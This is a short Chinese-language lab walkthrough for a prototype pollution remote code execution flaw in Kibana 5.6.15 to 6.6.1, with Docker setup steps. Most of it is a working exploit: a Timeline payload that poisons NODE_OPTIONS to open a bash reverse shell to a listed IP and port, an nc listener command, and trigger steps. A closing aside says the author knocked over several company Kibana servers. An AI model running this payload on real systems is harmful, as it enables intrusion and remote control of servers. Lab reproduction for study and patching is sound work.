Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.15到6.6.1之间的版本中存在一处原型链污染漏洞,利用这个漏洞我们可以在目标服务器上执行任意JavaScript代码。
目前公开的 POC 因为使用了 linux 特有的环境变量,所以目前这个 POC 只能作用于 linux 机器。
启动环境前,需要先在Docker主机上执行如下命令,修改vm.max_map_count配置为262144:
sysctl -w vm.max_map_count=262144
之后,执行如下命令启动Kibana 6.5.4和Elasticsearch 6.8.6:
docker-compose up -d
环境启动后,访问http://your-ip:5601即可看到Kibana页面。原型链污染发生在“Timeline”页面,我们填入如下Payload:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.0.128.48/6666 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
- 监听:nc -lvp 6666
- 打payload
3.访问canvas模块触发漏洞
4.反弹shell
ps:不要乱打。公司Kibana 被我打挂好几个。